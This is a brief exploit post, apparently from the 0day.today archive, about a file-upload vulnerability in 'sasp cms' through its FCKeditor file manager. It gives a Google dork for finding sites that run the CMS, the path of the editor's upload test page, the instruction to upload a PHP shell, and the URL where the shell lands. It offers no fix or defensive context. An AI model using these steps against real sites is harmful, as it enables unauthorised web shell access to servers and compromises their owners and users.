sasp cms (fckeditor) shell upload Vulnerability

===============================================
sasp cms (fckeditor) shell upload Vulnerability 
===============================================

# Author: ashiyane digital security team

# Version: 0.9

# Category:: upload bug

discovered by:ramin bazghandi (fr0nk)

greetz to:behrooz_ice,virangar,keivan,iman_taktaz,n4h,smyty,veron,satanic2000 and all ashiyane members

# Google dork: powered by saspcms

p0c:http://localhost//fckeditor/editor/filemanager/upload/test.html

select php and upload shell

your shell uploaded in:http://localhost/file/yourshell.php

^_^ o_0 O_O



#  0day.today [2018-04-12]  #